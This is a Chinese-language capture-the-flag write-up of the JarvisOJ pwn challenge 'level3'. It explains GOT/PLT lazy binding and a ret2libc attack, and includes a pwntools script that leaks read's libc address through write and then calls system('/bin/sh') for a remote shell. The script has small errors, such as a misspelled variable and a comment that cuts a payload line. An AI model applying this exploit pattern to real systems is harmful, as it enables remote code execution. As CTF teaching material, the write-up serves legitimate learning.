JARVIOS OJ pwn----LEVEL3

以前并没有对libc这些太理解，刚好借助这道题把基本思路整理下。

过程：

  出题人很厉害，只通过改变些许地方就能改变题目的难度。

 下载文件 level3和libc-2.19.so，查看文件保护--level3

可以栈溢出，但堆栈不可执行所以我们的shellcode就不能写入了，同时也没有地址随机化。

libc保护

  使用ida载入，程序逻辑基本不变。

仍然是栈溢出，但找不到system函数和‘bin/sh’字符串。单单通过level3这一个文件很难pwn下这道题。新的方法是通过泄露got表中函数的具体加载地址，通过偏移找到函数的库，然后通过这些找到其他函数的加载地址，即我们要找的system函数。

这里先说一下libc，got表和plt表

libc库：保存着我们已经编译好的函数，需要时我们就可以直接进行调用。C语言中我们通过#include<>调用。

got表：全局函数表

plt表： 内部函数表

********************************************************

这里借了一下 @xiaobozi 的博文  https://www.jianshu.com/p/6626a866ad66

延迟绑定

所谓延迟绑定，就是当函数第一次被调用的时候才进行绑定（包括符号查找、重定位等），如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度，特别有利于一些引用了大量函数的程序。

下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数，这个函数在PLT中的条目为bar@plt，在GOT中的条目为bar@got，那么在第一次调用bar函数的时候，首先会跳转到PLT，伪代码如下：

bar@plt:

jmp bar@got

patch bar@got

对于这道题来说vulnerable_function函数调用了read函数

进入找到plt表

跟进got表，这里存的便是read函数的真正地址。

就是这里

这下我们就找到了解题的方法。

通过vulnerable_function中的read构造栈溢出，并且覆写返回地址为plt中write的地址。再通过write泄露出read在内存中的绝对地址。再结合libc文件，便可以推算出系统调用的地址。

查找libc文件中需要的地址

poc

from pwn import *

elf=ELF("level3")

plt_write=elf.plt['write']   #write在plt中的地址

got_read=elf.got['read']  #read函数在got中的地址

vulnerable=elf.symbols['vulnerable_function'] #vulnerable_function函数的地址

payload=0x88*"a"+"link"+p32(plt_write)+p32(vulnerable)+p32(0x1)#write第一个参数+p32(got_read)#传入第二个参数，read函数的地址 +p32(0x04) #read函数的第三个参数

r=remote("pwn2.jarvisoj.com",9879)

r.recvuntil("Input:\n")

r.send(payload)

a=r.recv(4)

read_address = u32(a[0:4])

print hex(read_address)

 打印出了read函数的真实地址，接下来计算偏移,开始pwn掉

read_libc_address = 0x000daf60

offset = read_address - read_libc_address

system_address = offset + 0x00040310

exit_address = offset + 0x00033260

bin_sh_address = offset + 0x16084c

payload=0x88*"a"+"link"+p32(system_address)+p32(exit_address)+p32(bin_sh_addressr)

r.send(payload)

r.interactive()

关键点

借的一张图

使用write函数进行两次溢出，第一次泄露地址，第二次使用第二次获得shell